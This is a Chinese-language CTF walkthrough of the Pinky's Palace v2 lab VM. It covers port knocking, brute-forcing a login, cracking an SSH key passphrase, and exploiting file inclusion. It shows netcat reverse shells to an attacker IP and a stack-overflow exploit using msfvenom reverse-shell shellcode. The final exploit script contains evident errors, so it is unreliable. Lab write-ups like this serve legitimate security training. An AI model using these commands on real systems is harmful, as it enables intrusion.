Pinkys-Place v2

发布于 2023-01-17  1.05k 次阅读


Pinky's-Place v2

image-20221225175819211

information

image-20221225194754402

80端口开启http服务,按描述的内容修改hosts文件

既然是wordpress框架,那么直接使用wpscan枚举一下用户名(wp大多数漏洞基本上都是插件漏洞)
image-20221225200416139

发现一个pinky1337用户

使用dirsearc枚举目录
image-20221225200624197

发现一个"秘密"目录,在这个目录下发现bambam.txt文件
image-20221225200711408

knock

猜测是knock的口令(结合之前nmap扫描时有三个端口状态为filtered)

bam:表示突然的重击声)嘭,砰;(表示突然)蓦地;砰(表示某物击中另一物)

对这三个端口枚举一下口令顺序

from itertools import permutations
for i in permutations([8890,7000,666],3):
    print(" ".join(map(str,list(i))))

image-20221225202845034

#!/bin/bash
while read -r line
do
echo '---------------'
knock -v 192.168.113.139 $line
done < ./knock.txt

image-20221225203221331

然后再次运行nmap查看端口开启情况
image-20221225203603610

除了31337端口出现elite?另外俩个一个开启ssh,一个时nginx服务

nc尝试连接该端口,发现成功,这里是输入什么就返回什么,猜测为这个地方的缓冲区溢出漏洞

image-20221225223903785

nginx/ssh

image-20221225203921539

cewl http://pinkydb/ -w ./dict.txt生成字典,然后使用hydra爆破
hydra -L name.txt -P dict.txt pinkydb -s 7654 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid"(因为之前获得的用户名是pinky1337,所以这里把和pinky的用户留下)

这里也可以使用burp进行爆破

image-20221225205645829这里只有第一个有效,后面的用户名和密码无效

登录后得到一个明文id_rsa的RSAkey文件和一段话
image-20221225205752782

ssh

image-20221225210125295

密钥登录需要验证码

使用ssh2john分解密钥为可破解hash串,在使用john破解
ssh2john id_rsa > 1.txt
john ./1.txt -w /usr/share/wordlists/rockyou.txt
image-20221225210504538
image-20221225210522542image-20221225210451242
得到凭据stefano:(passphrase)secretz101
image-20221225211133025

user_shell

image-20221225211451267

该程序只有执行权限,且属于网站用户,但具有s权限(以文件所属者执行),所以后面的思路应该就是以这个程序去寻找,既然是属于网站用户的,那么还得去网站寻找信息
image-20221225211703494

include_vuln

在网站下面的一个文件发现文件包含漏洞
image-20221225211947472

测试该包含漏洞
image-20221225212420865

尝试读取qsub程序(qsub程序所属者为www-data)
将读到的内容复制一份使用strings读可读字符
image-20221225213619097

发现TERM关键字

re_shell

image-20221225213947799

TERM 环境变量用于终端处理。它允许 DB-Access(及其他基于字符的应用程序)识别您正在使用的终端并与其通信

xterm 和 Terminal 都是运行 X Windows 系统的基于 UNIX 的系统通用的终端仿真器
xterm-256color介绍了启用 256 种颜色的 Xterm

image-20221225215713375
在输入密码出输入xterm-256color后会打印"欢迎提问!",在后面测试中,发现在执行qsub程序后面跟'$(command)'时会去执行该命令,所以这里可以用来反弹shell

./qsub '$(nc -e /bin/bash 192.168.113.128 7777)'

image-20221225220151086

获取到pinky的shell

-e:将传入的信息以命令执行

pinky用户

image-20221225220907532

发现历史命令中切换过demon用户和编辑过一个sh脚本,按文件名可知是备份脚本,所以可以找到该脚本查看一下

find / -name "backup.sh" 2>/dev/null
image-20221225221117608

image-20221225221531488

该文件所属用户为demon,所属组为pinky,但是当前的pinky用户所属组是stefano的,既然历史命令中可以编辑该sh脚本,那么当前应该也行。
image-20221225221816618
newgrp切换所属组,在查看文件

修改该文件反弹shell
echo "nc -e /bin/bash 192.168.113.128 8888" >> backup.sh
image-20221225222139745

等待几分钟后连接成功,并且是demon的shell
image-20221225222545384

demon用户

文件目录没什么有用信息,对于s权限的程序前面已经找到过了,这里去查找一下进程,看看有无信息
ps aux | grep root
image-20221225223029744

发现一个运行的panel
image-20221225223235842

该文件权限属于demon,将该文件通过nc发送到kali上进行分析
nc

缓冲区溢出

程序分析

image-20221225224640078

发现具有strcpy权限,所以之前开放的哪个31337端口的输入什么返回什么可能就是该程序

在gdb运行之后,发现给的进程是
image-20221225225834034
查找该进程信息
image-20221225225843910

正好对应本机的31337端口,所以靶机上的就是panel程序的,既然是root身份运行,那么对找到该程序的缓冲区溢出漏洞即可获得root的shell

gdb跟踪子进程,再将父进程设置为暂停状态

set follow-fork-mode child
set detach-on-fork off

show follow-fork-mode : 查看目前的跟踪模式。
set follow-fork-mode child : 命令设置gdb在fork之后跟踪子进程。
set follow-fork-mode parent : 设置跟踪父进程。
show detach-on-fork : 显示了目前是的detach-on-fork模式
set detach-on-fork on : 只调试父进程或子进程的其中一个(根据follow-fork-mode来决定),这是默认的模式。
set detach-on-fork off : 父子进程都在gdb的控制之下,其中一个进程正常调试(根据follow-fork-mode来决定),另一个进程会被设置为暂停状态

nc连接端口,输入字符,发现gdb回显溢出报错

image-20221225230203526
看来是handlecmd函数中存放在输入、输入的信息,首先我们找到溢出的位置

image-20221225230352574
image-20221225230403013 image-20221225230413997

借助cyclic得到程序崩溃地址为113字节处

进测试,覆盖rip寄存器需要在120处开始,且只能覆盖4个字节
python3 -c "print('a'*120 + 'bbbbbb')" | nc localhost 31337
image-20221225233928965
python3 -c "print('a'*120 + 'bbbb')" | nc localhost 31337
image-20221225234456676

所以,要去执行构造的shellcode,则需要去找到一个可以调用完整的shellcode的地址,这里把思路转向RSP寄存器,RSP是指向栈顶的,所以只要有个调用RSP的指令。即可完成对shellcode的调用
image-20221226195323498

这里的这条指令正好符号需要,且地址只需构造三个字节(我们拥有四个字节的地址!)

或者使用ropper工具去寻找(大致功能是,给定一个寄存器,会返回调用这个寄存器的指令和地址)
image-20221226195858830

所以这里的流程是 填充字符+shellcode+return_rsp = 124即可

而shellcode拥有的大小为120字节内都行
可以去一些shellcode的专门网站寻找,也可以利用msfvonme生成
msfvenom -a x64 -p linux/x64/shell_reverse_tcp LHOST=192.168.113.128 LPORT=2222 -b "\x00" -f python
image-20221226201325855

Payload

所以最后的payload为

from pwn import *
host = "pinkydb.com"
port = 31137
buf =  b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
buf += b"\xef\xff\xff\xff\x48\xbb\x79\xf6\x27\x62\x25\x4b\xa6"
buf += b"\xc1\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += b"\x13\xdf\x7f\xfb\x4f\x49\xf9\xab\x78\xa8\x28\x67\x6d"
buf += b"\xdc\xee\x78\x7b\xf6\x2f\xcc\xe5\xe3\xd7\x41\x28\xbe"
buf += b"\xae\x84\x4f\x5b\xfc\xab\x53\xae\x28\x67\x4f\x48\xf8"
buf += b"\x89\x86\x38\x4d\x43\x7d\x44\xa3\xb4\x8f\x9c\x1c\x3a"
buf += b"\xbc\x03\x1d\xee\x1b\x9f\x49\x4d\x56\x23\xa6\x92\x31"
buf += b"\x7f\xc0\x30\x72\x03\x2f\x27\x76\xf3\x27\x62\x25\x4b"
buf += b"\xa6\xc1"
fill = 120-len(buf)
ret_rsp = p32(0x400cfb)
payload = b''.join([buf,fill,ret_rsp])
p.remote(host,port)
p.sendline(payload)

image-20221226202028331

End

image-20221226202116844


喵~